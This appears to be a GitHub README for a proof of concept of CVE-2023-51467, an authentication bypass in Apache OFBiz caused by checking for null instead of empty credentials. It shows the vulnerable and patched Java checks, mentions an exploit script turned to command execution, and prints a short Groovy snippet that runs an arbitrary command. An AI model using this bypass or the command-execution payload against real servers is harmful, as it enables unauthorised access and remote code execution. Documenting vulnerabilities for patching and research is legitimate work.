imuspirit/cve-2023-51467CVE-2023-51467 POC
exp.py changed to command execution
Serialization vulnerability exploitation
Authentication bypass test
Due to the incorrect use of empty values during authentication checks, this method did not take effect, leading to authentication bypass.
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
if (UtilValidate.isEmpty(username)) username = (String) session.getAttribute("USERNAME");
if (UtilValidate.isEmpty(password)) password = (String) session.getAttribute("PASSWORD");
if (UtilValidate.isEmpty(token)) token = (String) session.getAttribute("TOKEN");
Some analysis suggests direct command execution, but this requires bypassing the Groovy filter. Or there may be a better entry point for execution. rce.txt
def process = cmd.execute()
process.waitFor()
println "Exit code: ${process.exitValue()}"
println "Output:\n${process.text}"```
## References
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607
https://mp.weixin.qq.com/s/vdyqfm0FkbKp5W2LilhbXA
Do not use for illegal purposes